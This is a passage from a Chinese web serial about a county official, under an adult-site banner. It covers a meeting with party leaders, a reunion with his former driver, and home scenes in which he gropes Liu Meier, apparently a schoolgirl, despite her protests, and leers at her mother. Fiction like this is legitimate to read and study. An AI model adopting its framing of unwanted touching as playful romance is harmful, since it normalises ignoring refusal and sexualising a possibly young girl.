★本站公告★:合理安排时间看片,享受健康生活。本站永久域名:MSSPW3.COM 点击收藏,以免迷路哦!

[都市]官道之外传-40完

  
第五卷 漫漫官商路 第130章 牵挂



一场风波过后,皆大欢喜,王思宇晚上耗光了精力,上班以后,就觉得浑身乏力,脑子里昏昏沉沉的,提不起半点精神来,他索性推掉了所有的活动,躺在休息室里睡了一觉。

但受了刺激的人,是很难睡踏实的,在漫长的梦境里,王思宇继续与歹徒做着殊死搏斗,只是这次运气不大好,歹徒疯狂开枪,王思宇眼睁睁地望着自己的身体被打成了筛子,血液都飞溅出来。

虽然身上没有疼痛感,不过根据一般的常识,他还是觉得自己应该倒下去,于是在一阵自我催眠之后,王思宇终于找到了天旋地转的感觉,摇摇晃晃地倒在血泊之中。

过了一会,他看到瑶瑶从远处奔了过来,抓着他的手大喊大叫,哭个不停,王思宇想要劝她,却说不出话来,正焦急间,忽地发现歹徒们拿枪奔了过来,情急之下,他登时惊醒,一下子从床上坐了起来,大声吼道:“瑶瑶快跑!”

秘书郑辉正坐在办公桌后,飞快地敲打着电脑键盘,玩着《热血江湖》,听到里面传来喊声,他顾不得做游戏任务,赶忙按了快捷键,退出游戏界面,从外间奔了进来,站到休息室的门口,探过头来,关切地问道:“王县长,您做噩梦了?”

王思宇怔怔地坐在床上,过了半晌才发觉,原来只是在做梦,他终于长舒了口气,狂跳的心脏渐渐安稳下来,只是出了一身的冷汗,衬衫已经湿透,湿漉漉地贴在身上很是难受,他就起身洗了把脸,让郑辉拿毛巾给自己擦了背,换了件干净衬衫,这才觉得好了些。

王思宇抬手看了看表,已经是下午一点多钟了,因为没吃午饭,肚子里早已饥肠辘辘,饿得有些心慌意乱,幸好郑辉把饭打了回来,他就坐在茶几上吃了饭菜,填饱了肚子,回到办公桌后,把需要急办的文件做了批示,又把政府办的张主任叫了过来,交代了一些事宜。

张主任离开后,王思宇低头看了份材料,正皱眉沉思间,房门被轻轻推开,抬头望去,却见焦南亭微笑着走了进来,王思宇忙把材料放到一边,迎了过去,两人坐在沙发上聊了一会,便一起下了楼,开车前往玉州,去见市委书记岳松林。

岳松林的心情极好,在详细打听了现场发生的情况后,不禁搔了搔头发,轻声感慨道:“好险啊,昨天在得知歹徒闯进校园后,把我急得出了一身冷汗,生怕事情得不到控制,演变成重大恶性事件,好在是虚惊一场。”

焦南亭也点了点头,心有余悸地道:“是啊,岳书记,这次多亏了王县长,不然情况就会变得异常糟糕,我现在还是一阵阵的后怕哩,当县委书记可真不容易,没些胆量还真不成。”

岳松林端起茶杯,喝了口茶,慢条斯理地道:“南亭,你说的没错,在下面做父母官可不是那么容易的事情,不但要处理好繁杂的日常工作,还要随时准备应付突发情况,下面锻炼人啊。”

焦南亭深以为然,笑着点点头,由衷地道:“以后还要多向王县长学习,不过我天生胆子就小,深入虎穴的壮举肯定是干不来的。”

王思宇赶忙插话道:“焦书记,不能这样讲,其实事后我还是有些后悔的,当时太着急了,没有考虑周全,就贸然行动,实在是不应该,好在运气不错,误打误撞,竟然把歹徒制服了,没有酿成大祸,不过以后应该吸取教训,不能再这样鲁莽了,身为一县之长,应该谨慎从事,老成持重些才好。”

岳松林笑了笑,望着王思宇,眼中闪过一丝赞许之色,他摸了摸办公桌上的杯子,和颜悦色地道:“王县长,你讲老实话,当时在现场,和持枪歹徒周旋,你有没有害怕?”

王思宇摸着鼻子笑了笑,点头道:“怕,怕的要命。”

岳松林听了,哈哈一笑,风趣地道:“怕就对了,作为党的干部,应该‘文不爱财,武不惜死’,你可千万不要搞反了啊。”

王思宇笑了笑,也调侃道:“岳书记,您放心,我是‘爱财不贪财,惜死不怕死。’”

岳松林轻轻点头,抬手摩挲了下头发,把头转向焦南亭,笑呵呵地道:“哈哈,南亭,你看咱们的王县长,到底是年轻干部,不经夸,他这分明是说自己文武双全嘛。”

王思宇面色一窘,忙辩白道:“岳书记见笑了,我可不是这个意思。”

焦南亭微微一笑,心悦诚服地道:“岳书记,王县长确实很有才干,这可是我的亲眼所见,到西山县工作,能和这样的干部搭班子,我是相当满意的。”

岳松林端起茶杯,瞄了两人一眼,目光里闪过一丝诧异之色,他含蓄地一笑,意味深长地道:“满意就好,王县长不错,有勇有谋,南亭啊,下面很多的书记和县长,关系都搞得很僵,人们常在私下说,党政一把手之间是婆媳关系,很难沟通,我偏不信这个邪,你们两个一定要好好配合,把西山的工作抓上去,做个榜样出来。”

两人对视一眼,不约而同地点头道:“岳书记请放心。”

岳松林喝了口茶水,把杯子放下,望着焦南亭,笑眯眯地道:“南亭啊,招商引资的工作搞得怎么样了?有什么最新进展吗?”

焦南亭忙坐直了身子,表情严肃地道:“岳书记,这方面的工作一直在做,如果顺利的话,六月份前将会有两个大项目落户西山。”

岳松林‘喔’了一声,饶有兴趣地问道:“都是什么项目啊,说说看。”

焦南亭转动着手中的茶杯,笑着说:“一家是医药企业,还有一个十五万吨尿素项目,总投资大概有三个亿。”

岳松林摸着头发笑了笑,满意地道:“不错啊,南亭,进展很快,招商引资工作一定要抓起来,主要领导亲自抓,分管领导具体抓,班子成员配合抓,总之要尽快搞些大项目来,和其他省份相比,我们华西的经济太过落后,基础差,底子薄,要尽快赶上来啊,上次和文书记谈话之后,我感到肩头的压力很大,要想把工作干好,就得经常催催你们。”

焦南亭喝了口茶水,一脸郑重地道:“岳书记,过段时间,省发改委的秦主任要到西山来考察,他们那里最近要确立十五个示范工程,我最近一直在联系,希望能争取到更大的项目。”

岳松林微微一怔,停顿了片刻,随即爽朗地笑道:“好啊,秦主任可是个大肥羊,你们千万不要放过他。”

王思宇坐在椅子上,面带微笑地听着两人讲话,轻轻点头,与焦南亭在一起时,他尽量保持低姿态,除非必要,就不再接话,否则会给人以抢风头的印象。

聊了约莫半个二十几分钟,岳松林看了看表,就拨了几个电话,约了几位市委领导,带着焦南亭与王思宇去了酒店,就餐时,岳松林心情大好,在席间谈笑风生,这顿饭吃了三个多小时,酒席结束后,外面的天已经黑下来了,王思宇不想赶夜路,就给白燕妮打了电话,之后开车返回电视台家属楼。

上了楼后,敲开房门,柳媚儿俏生生地倚在门边,一脸惊讶地道:“哥,你怎么回来啦?”

王思宇笑了笑,没有做声,进了屋子,随手带上房门,换了拖鞋走到沙发边,一屁股坐了下去,懒洋洋地道:“别提了,差点回不来了。”

柳媚儿皱了皱眉,忙走到他身边坐下,伸手从茶几上的果盘中取了桔子,剥了一瓣,送到他的嘴里,轻声道:“哥,怎么啦,说得怪吓人的。”

王思宇含着桔子呵呵一笑,摆了摆手,含糊地道:“没怎么,小蕾阿姨呢,怎么没在家?”

柳媚儿伸出手来,把王思宇向沙发边上推了推,转身躺在他的大腿上,望着棚顶的吊灯,笑嘻嘻地道:“老妈被我气跑了,估计在景卿姐姐那里吧?”

王思宇叹了口气,伸手在她的前胸上摸了一把,轻声道:“媚儿,你总是这么不听话,老惹小蕾阿姨生气,这样怎么行呢?”

柳媚儿哼了一声,撅起嘴巴,做了个鬼脸,抓住王思宇的手,轻轻抚摸着道:“我心情不好,当然要拿她撒气啦,谁让她是我老妈呢!”

王思宇无奈地笑了笑,摆手道:“这是什么逻辑,没有道理嘛。”

柳媚儿咬着薄唇,吃吃地笑道:“哥,你看哪个女孩子是讲道理的,我们是要被宠的,不是被教训的,她总是不明白这个道理。”

顿了顿,她又撇嘴道:“哥,其实你也一样,就知道教训人,一点都不知道宠着我。”

王思宇心中一荡,低下头来,在她那张清纯漂亮的脸蛋上亲了一口,低声道:“媚儿,不要乱讲,哥其实是最宠你了。”

柳媚儿嘻嘻一笑,抬手把王思宇的下巴推开,摸着脸蛋,气哼哼地道:“臭死了,干嘛总喝那么多酒,快去洗澡啦。”

王思宇喊了一声‘遵命’,站在沙发边,把衣服脱得精光,光着屁股跑进浴室,随手关上房门。

柳媚儿气得哇哇大叫,从后面追了过去,直到王思宇放了热水,她还在外面咚咚地敲着门,大声喊着:“流氓!色狼!变态狂……”

王思宇却不以为意,扭着屁股吼着歌,冲了澡之后,在浴缸里泡了二十几分钟,才在腰间裹了条浴巾,推门走了出来,转头望去,柳媚儿正撅着小屁股,跪在沙发上摆弄着他的手机,他忙悄悄地从后面走过去,抱着柳媚儿的小蛮腰,用腹部顶着她的小屁股,极度暧昧地向前耸了几下。

柳媚儿忙挣扎着转过头来,满脸通红地道:“大色狼,你在干什么,快松手!”

王思宇也不吭声,伸手从她的花格子睡衣下面探了进去,在那光滑柔腻的肌肤上,乱摸了起来。

柳媚儿咯咯笑着躲闪着,伸手捉了他的胳膊,娇声喊道:“停,停,哥,你坏死了,不要闹了啦……”

王思宇正在兴头上,哪里理会她,就抱着她的腰,轻轻摇动起来,只几下,便兴奋起来,有些半真半假地吃起豆腐来。

柳媚儿想去推他,却觉得身子酥软乏力,动弹不得,无奈之下,只好甩着秀发,哼哼唧唧地哀求道:“好哥哥,不要再闹啦,你就放过媚儿这一次吧!”

王思宇占足了便宜,这才松了手,拍了拍她的小屁股,悻悻地道:“好吧,那就再放你一次,下次再用这种姿势来勾引我,定斩不饶。”

柳媚儿坐直了身子,伸出一对粉拳,在王思宇的前胸上捶了几下,满脸娇嗔地道:“大色狼,你把话讲清楚,谁勾引你啦!”

王思宇呵呵一笑,捉住了她的拳头,顺势把她拉在怀里,望着那娇艳欲滴的薄唇,低头亲了下去……

柳媚儿闭上眼睛,扬起脖子,歪着脑袋迎了过去,双手在王思宇的后背上温柔地抚摸着,过了半晌,她才气喘吁吁地睁开眼睛,一把推开他,俏脸绯红地道:“哥,你讨厌死了,总来逗人家。”

王思宇微微一笑,侧身躺下,望着茶几上的果盘,喃喃地道:“现在想想,还真有点后怕啊。”

柳媚儿神色古怪地望着他,脸上露出诧异之色,忙摇着他的身子,轻声追问道:“哥,到底出了什么事情,你告诉我嘛!”

王思宇‘嗯’了一声,便点了一根烟,把昨天发生的事情讲了一遍。

他刚刚讲完,就觉得异样,低头看去,只见柳媚儿已经红着眼睛,眸子里泛着泪花,一副泫然欲泣的模样。

王思宇心中一动,情知不妙,赶忙低声宽慰道:“没事的,媚儿,事情已经过去了嘛。”

柳媚儿却不吭声,只是咬着嘴唇,怔怔地发呆,没过多久,便撇了撇嘴,嘤嘤地哭了起来,眼泪如同断了线的珠子一般,噼里啪啦地掉了下来。

王思宇见状,顿时慌了手脚,赶忙低声去哄,“媚儿,真的没事啦,三个歹徒全都抓起来了。”

柳媚儿却不理他,独自哭得伤心,过了半晌,她才止住哭泣,泪眼婆娑地望着王思宇,哽咽着道:“哥,你就是个大坏蛋,只顾着自己去逞英雄,也不为别人着想,你要是有个三长两短,媚儿也活不成了,呜呜呜……”

说着说着,她再次泣不成声,委屈地哭了起来。

王思宇叹了口气,轻轻拍着她的后背,低声道:“媚儿,是哥不好,以后我再也不去冒险了。”

柳媚儿却依旧抱着他的腰,默默地流泪,两人躺在沙发上,都不再说话,就这样沉默着,客厅里变得异常的安静。

一直到了晚上十点半钟,叶小蕾还没有回来,柳媚儿哭得太过伤心,有些疲倦,竟已经歪着脑袋睡着了。

王思宇微微一笑,将她抱了起来,蹑手蹑脚地回了卧室,把柳媚儿放到床上,拉了被子躺下,侧过身子,望着柳媚儿那张清纯的俏脸,怔怔地发呆。

过了一会,柳媚儿在睡梦中翻了个身,伸出手来,捉住王思宇的一只胳膊,拉到胸前,吧嗒吧嗒小嘴,呓语了几句,就再次安静了下来。

王思宇微微一笑,用左手轻轻刮了刮她俏皮的小鼻子,就关了灯,抱着她睡了过去。

第五卷 漫漫官商路 第131章 妃子笑

凌晨,王思宇睡得正香,忽地觉得面皮上一阵阵地发痒,他伸出手来在脸颊上轻轻抓了抓,咕哝着翻了个身,抱着被子再次睡了过去,可过了不到两分钟的功夫,鼻子竟然也跟着痒了起来。

王思宇伸手揉了揉鼻子,忍不住打了个响亮的喷嚏,他此时睡意全无,缓缓睁开眼睛,却见柳媚儿正趴在身边,手里捏着发梢,似笑非笑地望着自己,她眼里闪过一丝狡黠的笑意,撅着嘴巴哼唧道:“大懒虫,终于肯醒过来了?”

王思宇登时醒悟,刚才定然是媚儿在捣鬼,不禁呵呵一笑,伸手捏了捏她水灵白嫩的脸蛋,又抬腕看了看表,禁不住皱了皱眉头,轻声抱怨道:“媚儿,才五点钟啊,你不好好睡觉,怎么起得这样早?”

柳媚儿抿嘴一笑,悄声道:“我睡不着,哥,你陪我说会话吧。”

王思宇点了点头,掀开被子,低声道:“说话可以,不过你得进来,小心着凉,这阵子感冒很厉害的。”

柳媚儿嘻嘻一笑,拉着被角钻了进来,枕在王思宇的胳膊上,用手指轻轻划着他的胸膛,薄薄的粉唇翕动了几下,柔柔地道:“哥,答应我。”

“什么?”

王思宇探过右手,隔着那件柔软的花格子睡衣,在她那充满弹性的小屁股上捏了捏,有些不解地问道。

柳媚儿抬起头来,满腹委屈地望着他,闷闷不乐地道:“还能有什么呀,以后不许你再干傻事了,你又不是警察,干嘛往第一线冲啊……”

王思宇哑然失笑,伸出手指,刮了刮她秀气的小鼻子,轻声道:“好啦,媚儿,哥一定答应你,下不为例,这样总该好了吧?”

“嗯!”柳媚儿用力地点点头,眼圈却是一红,抓着他的胳膊,幽幽地道:“人家都快被你吓死了。”

王思宇嘿嘿一笑,把嘴巴凑到她的耳侧,拉长声音,阴测测地道:“有—鬼—啊,有—鬼—啊!”

柳媚儿嘻嘻一笑,伸出手来,捏着王思宇的鼻子,左右摇晃着,恨恨地道:“哥,你这家伙最坏了,就知道吓唬人。”

王思宇张开嘴巴,吸了口气,有些纳闷地望着她,迷惑不解地道:“媚儿,你以前不是最怕鬼的吗?怎么现在一点反应都没有?”

柳媚儿忍不住咯咯地笑了起来,松开了葱郁的手指,缩着脖子钻到王思宇的怀里,悄声道:“有你在身边,我什么都不怕了,你一定会保护我的,对吧?”

王思宇心中一荡,把她抱得更紧了些,轻声道:“那是当然了,我要保护媚儿一辈子,当你的守护天使。”

柳媚儿却吃吃地笑了起来,把王思宇的手从翘臀上移开,一脸娇嗔地道:“还守护天使呢,分明是天字第一号大色狼。”

王思宇伸出右手,探进睡衣里,在她光滑柔嫩的后背上缓缓抚摸着,轻声争辩道:“是天使!”

柳媚儿如同温柔的小猫一样,蜷缩在王思宇的怀中,俏脸红得如同熟透了的苹果,嘴巴却毫不相让,没好气地道:“就是色狼!”

“天使!”

“色狼!”

“天使!”

“色狼!”

……

“色狼就色狼!”

在争辩了几句后,王思宇失去了耐心,翻身坐起,伸出双手,缓缓地举起柳媚儿修长的美腿,架在肩膀上,将身子缓缓压了过去,恶狠狠地道:“哥现在就来个辣手摧花,把你变成真正的女人!”

柳媚儿又羞又恼,一颗心怦怦直跳,忙双手撑着床面,挣扎着坐了起来,红着脸哀求道:“天使就天使啦,媚儿认输了,好哥哥,你不要再闹啦!”

王思宇哼了一声,板着面孔恫吓道:“谁闹了,哥是认真的,今天就要了你。”

柳媚儿抬起手来,勾了勾手指,喘息着说:“哥,你先放下来,媚儿有正经事和你说。”

王思宇笑了笑,松了手,笑眯眯地凑了过去,低声道:“媚儿,什么正经事情啊,快说,说完了咱们好干点不正经的。”

柳媚儿嗔怪地乜了他一眼,扭着身子伏过来,把殷红的嘴唇凑到他的耳边,却转了个方向,一口叼住王思宇的肩头,用力咬了下去。

王思宇猝不及防,低声喊了一句:“哎呦,口下留情!”

柳媚儿忙松了口,用小手摩挲着那两道清晰的牙印,神色娇羞地道:“哥,你不要急嘛,早晚都是你的啦。”

王思宇嘿嘿一笑,轻声道:“什么是我的?”

柳媚儿啐了一口,没好气地道:“大色狼,别装糊涂,你知道的!”

王思宇笑了笑,伸手拉过她,望着那张红艳艳的俏脸,歪着脖子亲了过去。

两人相拥而吻,过了半晌,柳媚儿轻轻推开他,气喘吁吁地道:“哥,别闹了,我得赶紧回去了,等会老妈起来,要是发现我昨晚没在自己屋里睡,一定会被气疯的。”

王思宇点了点头,捏着她尖尖的下颌,轻声道:“快去吧,别惹小蕾阿姨生气。”

柳媚儿嗯了一声,转身下了地,换上拖鞋,蹑手蹑脚地拉开房门,探头向外望了望,就扭着小屁股,悄悄地返了回去。

王思宇伸手摸了摸肩头上的牙印,无声地笑了笑,拉了被子再次躺了下去,睡了个回笼觉。

两个小时后,他被一阵敲门声叫醒,卧室的门外传来叶小蕾柔美的声音:“小宇,起来吃早点,别误了上班。”

王思宇掀开被子坐了起来,扬着脖子吼道:“知道了,小蕾阿姨,我这就来。”

他慢吞吞地穿好衣服,推门走出卧室,进了浴室刷牙洗脸,出来时,见叶小蕾正对着镜子梳妆打扮,她依旧穿着白衫黑裙,嘴里衔着一个簪子,用双手把秀发挽成发髻,便取了簪子,挑起一绺秀发,轻盈地插了过去,把头盘好后,对着镜子转了转身,漂亮的鹅蛋脸上露出一抹自信的笑意。

王思宇悄悄来到她身边,仔细端详了一番,就竖起大拇指,笑着恭维道:“小蕾阿姨,您真是太漂亮了。”

叶小蕾抿嘴一笑,有些难为情地摇头道:“小宇,你就不要安慰阿姨了,岁月不饶人,我是真老了。”

王思宇却向前走了一步,指着镜子道:“小蕾阿姨,我这可是实话实说,你瞧瞧,镜子总不会撒谎吧,您的脸上这样光滑,眼角连半点鱼尾纹都没有,要我说,很多十七八岁的女孩子都没您的皮肤好。”

叶小蕾心中高兴,喜上眉梢,嘴里却说:“小宇,别乱讲话,那怎么能比呢!”

柳媚儿推门出来,歪着脑袋看了母亲半晌,就笑嘻嘻地走到叶小蕾面前,拿手在她脸颊上摸了摸,吐了下小舌头,讨好地道:“妈,小宇哥哥说的一点没错,你真没老呢,简直是越活越年轻,我以后也会和你一样吧,永葆青春,那可太棒了。”

叶小蕾却轻轻叹了口气,俏脸上流露出落寞的表情,有些伤感地道:“女人的青春是最短暂的,如同昙花一现,哪里能够永葆青春呢。”

柳媚儿拉了她的胳膊,依偎在叶小蕾身边,歪着脑袋道:“小宇哥哥,你说我和老妈哪个更漂亮?”

王思宇捏着下颌,在两人身边走了一圈,半开玩笑半认真地道:“你们两人哪像母女啊,分明是一对姐妹花,姐姐风韵迷人,妹妹青春靓丽,都是如花美人,一样的漂亮。”

柳媚儿眨了眨眼,嘻嘻笑道:“我同学也是这样讲的,干脆以后我就管老妈叫姐姐好了。”

叶小蕾嫣然一笑,低低地啐了一口,晕红着脸道:“媚儿,小宇,你们两个小鬼头,变着法的哄我开心,要是相信可就上当了。”

王思宇嘴角含笑,转到她的身侧,望着那枚碧玉簪子,轻声道:“小蕾阿姨,这簪子也好看,很适合这种头型,有种复古的味道。”

叶小蕾咯咯地笑了几声,点头道:“簪子是不错的,昨儿景卿送我的。”

柳媚儿转头看了下墙上的表,慌得叫了起来:“不成了,要迟到了,老妈,我不吃饭了,要先走了。”

叶小蕾蹙眉道:“还有时间,先吃了饭,我一会开车送你去学校。”

柳媚儿却腾腾地跑到门边,一边换鞋,一边大声解释道:“今儿学校组织活动,不是上课,老妈,你别管了,跟你说不明白。”

望着柳媚儿风风火火地出了门,叶小蕾幽幽地叹了口气,摇头道:“这孩子,毛毛躁躁的,一点都不像我。”

王思宇微微一笑,轻声道:“现在的年轻人可不都这样,不光毛躁,还任性着呢!”

叶小蕾莞尔,抬起手来,伸出纤白的玉指,在王思宇的额头上轻轻点了点,没好气地道:“不用说她,你也一样,上次说买车就买了,一点都不听劝。”

王思宇呵呵一笑,目光落在她高耸的前胸上,舔了舔发干的嘴唇,没有吭声。

两人来到餐桌边坐下,王思宇挽了袖口,伸出筷子,夹了鸡蛋饼,就着皮蛋瘦肉粥,吃得香甜无比。

叶小蕾瞟了他一眼,就放下筷子,盛了碗银耳汤递过去,低声嘟囔道:“慢点吃,别狼吞虎咽的。”

王思宇抬头笑了笑,目光落在她那张漂亮的鹅蛋脸上,含蓄地恭维道:“呵呵,小蕾阿姨的手艺好,做的早餐真是没的说,再加上秀色可餐,让我胃口大开啊。”

叶小蕾盈盈一笑,横了他一眼,伸出纤纤玉手,屈指在王思宇的头上敲了一记,冷哼道:“你啊,别学得油嘴滑舌的,要时刻记得自己是县长,说话办事稳重着些。”

王思宇抬起头来,见叶小蕾的脸上笑成了一朵花,就知道刚才的话,她其实很是受用,就端起汤碗,喝了一口,微笑道:“小蕾阿姨,你放心,我只是在家里才开开玩笑,在单位当然是要庄重点,不然哪能服众呢。”

叶小蕾点了点头,喝了几口粥后,又笑着道:“对了,差点忘了告诉你一个好消息,顾老要为咱们介绍位很有实力的画家,听说那人曾在敦煌潜心研究书画艺术十年,最近才要出山的。”

王思宇不禁愕然,抬手摸了摸头发,有些不可思议地道:“那可真是了不起的人物,现在许多人都功利得很,能静下心来钻研艺术的可不多了,他居然能在敦煌耐下性子锤炼十年,这倒是十年磨一剑了,有这样毅力的人,无论做什么,都会很优秀的,回头有时间,我还真要见见他。”

叶小蕾笑了笑,轻声道:“现在还没来呢,听说此人性格古怪孤僻,很难相处,虽然不是很有名气,但绘画造诣很深,他与顾老以前私交很好,这次看在顾老的面子上,口头答应开业时过来看看,景卿看过他的绘画作品,评价很高,说他的作品大气磅礴,极有艺术收藏价值,要是能把他签下来,对芜菁国画馆的发展很有帮助。”

王思宇微微一笑,把汤喝完,轻轻放下汤碗,微笑着道:“这倒真是一件好事,不过也别勉强,国画馆虽然是做艺术品的,但终究是商业活动,只要运作好了,很多画家的作品都会热销。”

叶小蕾也放下碗筷,扯了纸巾擦了擦嘴角,柔声道:“你说的也有道理,现在书画艺术这块,真正懂行的人还是很少的,倒是外行买来装点门面或者送礼用的多些,前阵子出了个贪官,在他家里搜到的几张名画,居然都是赝品,要不是案子发了,恐怕他自己都要蒙在鼓里呢。”

王思宇笑了笑,轻声道:“官员钟爱艺术作品,大多都是附庸风雅罢了,他们又不好大张旗鼓地拿着画去做鉴定,自然容易上当了。”

叶小蕾莞尔一笑,便不再说话,而是起身收拾碗筷。

王思宇坐在桌边,点了一根烟,望着叶小蕾曼妙的身姿在厨房里飘来飘去,心情也随之飘逸起来,忍不住站了起来,走到她的身后,望着她那柔美的身段,圆润的翘臀,大流口水。

叶小蕾正弯腰洗着碗筷,忽地想起来什么,回眸一笑,柔声道:“小宇,客厅里有两桶新买的茶叶,你记得一会带上。”

王思宇‘噢’了一声,转身回到客厅,把那两桶茶叶拿在手里,掂了掂,就放进包里,坐在沙发上翻了一会杂志,注意力却总是集中不起来,脑海里一直晃动着叶小蕾那张如花笑脸,竟有些心动神驰,不能自已。

十分钟后,两人说笑着下了楼,各自开车驶出小区,在路上追逐嬉戏了一番,便在十字路口分开。

王思宇停下车子,望着倒视镜中逐渐远去的红色千里马,心中隐隐生出一股不舍之意,过了许久,他才叹了口气,再次发动车子,向西山方向驶去。

第五卷 漫漫官商路 第132章 半个师傅

周三的上午,王思宇见了县人大会务组的成员,听取了会务组筹备工作汇报,县人大会议即将开幕,二百多名从各乡镇上来的代表,要在西山宾馆呆上三天,吃喝拉撒睡和安全保卫的各项事宜,都要考虑周全,否则会议期间出现问题,将会造成极坏的影响,在听到会务组成员抱怨,会议经费不足时,王思宇当即给财政局局长孔圣贤打了电话,让他尽快解决。

当众人走出办公室后,王思宇轻吁了口气,拉开椅子站起来,揉了揉有些发酸的臀部肌肉,在办公室里来回走了几趟,做了十几个扩胸运动,脑海里却想着人大会前的一些人事调整事宜,按照原来的设想,他本不想在会上进行干部调整,以免出现不必要的争吵。

但近期各项工作进展比较顺利,组织部长骆智卓那边也已经彻底低头,在上次常委会过后,骆智卓便在县委组织部的部务会议上,做了深刻的检查,又单独见了焦南亭,释放了站队信号,王思宇就想趁热打铁,先在人大会上抛出几块石头,测试下基层各方反应,为下一步大的动作做准备,如果一切顺利,就加快步伐,争取早日挖掉钱雨农时期生出的毒瘤,彻底解决干部问题。

正想得出神时,秘书郑辉忽然敲门进来,站在门边,低声道:“王县长,大门口那边有位姓李的先生想见您,他自称是您以前在青羊县工作时的司机……”

王思宇微微一怔,转身来到窗边,向外望去,却见门卫室外的台阶上,站着一个穿着迷彩服的中年汉子,只从那魁梧的身材,挺拔的站姿就能看出来,那人正是他惦念已久的李飞刀,王思宇展颜一笑,赶忙大声吩咐道:“这家伙,终于肯露面了,快打电话让他过来。”

郑辉听了,忙应了一声,转身要出去,一只脚已经迈出门外,却被王思宇叫住。

王思宇想了想,摆摆手,笑着说:“算了,郑辉,还是你亲自下去接吧,对老李热情点,他是我的老朋友了。”

郑辉怔了怔,随即微微一笑,点头道:“好的,王县长,我这就过去。”

王思宇端起茶杯,站在窗前,望着李飞刀大步流星地走进大院,跟着郑辉进了政府办公大楼,他无声地笑了笑,转身坐回椅子上,摸出两把飞刀,在手里把玩一番,随后叹了口气,把飞刀丢进笔筒里。

几分钟后,郑辉敲响房门,把李飞刀带了进来,王思宇拉开椅子站起来,绕过宽大的办公桌,笑吟吟地迎了过去,和他来了个热情的拥抱,笑着道:“老李啊,你这家伙怎么搞的,做事也太不靠谱了,说走就走得无影无踪,我和邓华安都联系不上你,很担心啊。”

李飞刀粗豪地一笑,抬手搔了搔小*平头,呐呐道:“王县长,我的性子你是知道的,脾气一上来,九头牛都拉不回来,我怕你们两个兜头给我泼冷水,就没敢告诉你们。”

王思宇微微一笑,把他让到沙发边坐下,郑辉沏了茶后,便悄悄退了出去。

王思宇望了这个彪悍的汉子一眼,叹了口气,低声道:“老李,你的火爆脾气也该改改了,凡事要多考虑下,魏瘸子遇害的事情,老邓已经告诉我了,我知道你们师徒之间感情很深,但也不能为了给他报仇就不顾一切了啊,再者说,那三个杀手早晚都能抓到,你何必亲自去动手呢!”

李飞刀眼圈一红,低着头喝了口茶,语气低沉地道:“王县长,魏瘸子死的太惨了,身上被打成了马蜂窝,他老婆抱着十个月大的孩子跪在我面前,哭着说请师父报仇,我哪能抛下不管,只好出去走了一圈。”

王思宇点了点头,伸手拍着他的肩膀道:“老李,案子查得怎么样?有进展了吗?”

李飞刀‘咕噜’一声咽了口茶水,擦了擦嘴巴,放下杯子,奇怪地望了他一眼,皱眉道:“王县长,那三个杀手不是已经被你抓到了吗?”

王思宇怔了怔,忽地醒悟,睁大了眼睛,满脸诧异地道:“什么?前天闯进县一中那三个歹徒就是杀魏瘸子的杀手?”

李飞刀咧着大嘴,呵呵地笑了起来,过了半晌,他才撸了撸袖子,开口回道:“是啊,就是那三个兔崽子,我去晚了一步,被他们逃了,本来一直没有头绪,身上带的钱也快花光了,正急得团团转时,晚上看了华西新闻,这才知道他们三个在你这落网了。”

“居然会这么巧!”王思宇愕然地道,当时事发突然,他只没有时间多想,就直接去了学校,人抓了之后,也没有在意,根本没有查看卷宗,倒不清楚三人以前犯了什么案子,没想到,误打误撞,竟把杀魏瘸子的凶手捉了。

李飞刀从衣服口袋里摸出烟来,递给王思宇一根,他也点了烟,嘴里吐着烟圈,有些伤感地道:“王县长,魏军死得太惨了,虽然我早就知道,他走的那条路最终就是这个结局,可还是没有想到会来的这样快,他还那么年轻……”

王思宇默默地听着,心情也有些黯然,过了一会,他掸了掸烟灰,喟然叹息道:“老李,既然人已经走了,凶手也抓到了,魏军如果在天有灵,想必也能瞑目了,你也不用太过耿耿于怀,看开些吧。”

李飞刀失神地愣了一会,点了点头,皱眉深吸了一口烟,笑着道:“王县长,你说的对,这件事情了结了,我也去了块心病,不然晚上睡不踏实。”

王思宇笑了笑,摸着茶杯站起来,亲自给他续了茶水,试探着问道:“老李,听说你辞职了,今后有什么打算?”

李飞刀犹豫了下,抬起头来,挠头道:“王县长,要是不麻烦的话,我还想到你这干,当司机也成。”

王思宇呵呵一笑,心中笃定了,他没有吭声,而是起身回到办公桌边,拿起一份文件来,走到办公室的门边,推开房门,向外望了一眼,笑着说:“郑辉,你去委办,把这份文件给庄主任送去。”

郑辉忙接过文件,转身走了出去,急匆匆地推门走了出去。

王思宇把门关上,返回沙发边坐下,皱眉吸了口烟,就把芜菁国画馆的事情讲了一遍,最后开门见山地道:“怎么样,老李,当保安干不干?”

李飞刀爽朗地一笑,点头道:“要是别人,坚决不干,不过既然是你的生意,那我没什么好说的,就一个字,干!”

王思宇笑了笑,把烟蒂掐灭,丢在烟灰缸里,拍了拍手道:“老李,等的就是你这句话。”

李飞刀笑呵呵地道:“王县长,放心吧,有我在那守着,人和字画都没有问题,哪个混账东西敢打咱们的主意,我非把他腿打折了。”

王思宇忙摆手道:“老李,那可不成,违法的事情咱可不能干,最多教训一下,让对方知难而退。”

李飞刀‘嗯’了一声,霍地起身道:“成了,王县长,那我先回青羊安排一下,过些日子直接去公司报道。”

王思宇忙跟着站起来,拉着他的手道:“老李,你好不容易过来一次,就先在这呆几天吧,我们哥俩多喝几顿酒。”

李飞刀却摆手道:“王县长,我们之间就不必客气了,我虽然是大老粗,但也知道你很忙,喝酒的事情好说,以后有很多机会,还是先忙正经事重要。”

王思宇却死活不同意,他把工作上的事情料理了一番,便给徐子琪打了电话,让她安排一下。

徐子琪挂了电话后,不敢怠慢,先是吩咐厨房收拾出一桌子好菜,接着又换上旗袍,精心打扮一番,带着大堂经理到宾馆楼下,站在台阶上左顾右盼,几分钟后,瞄见奥迪车缓缓驶来,她赶忙迎了过去,拉开车门,笑吟吟地道:“县长大人,总算是把你盼过来了。”

王思宇下了车子,笑着打趣道:“老板娘出门远迎,可真是不敢当啊,我出门时没带钱包,今儿是过来吃白食的,等会要是埋不了单,可别一顿拳脚相加,把我们两个穷光蛋赶出来。”

徐子琪咯咯地笑了起来,直笑得花枝乱颤,她斜眼睨着王思宇,有些娇嗔地道:“王县长,埋不了单不要紧,只要留下来洗一周的盘子就成,到时候我把消息放出去,只怕全西山县的老百姓都会过来看热闹,生意一定会火爆得不得了。”

王思宇笑了笑,一脸认真地道:“子琪姐,这倒是个好办法,我也没有别的要求,只是晚上要有睡觉的地方,不能让我衣柜里住。”

徐子琪面上一红,低低地啐了一口,没好气地道:“有衣柜就不错了,总比菜窖里强。”

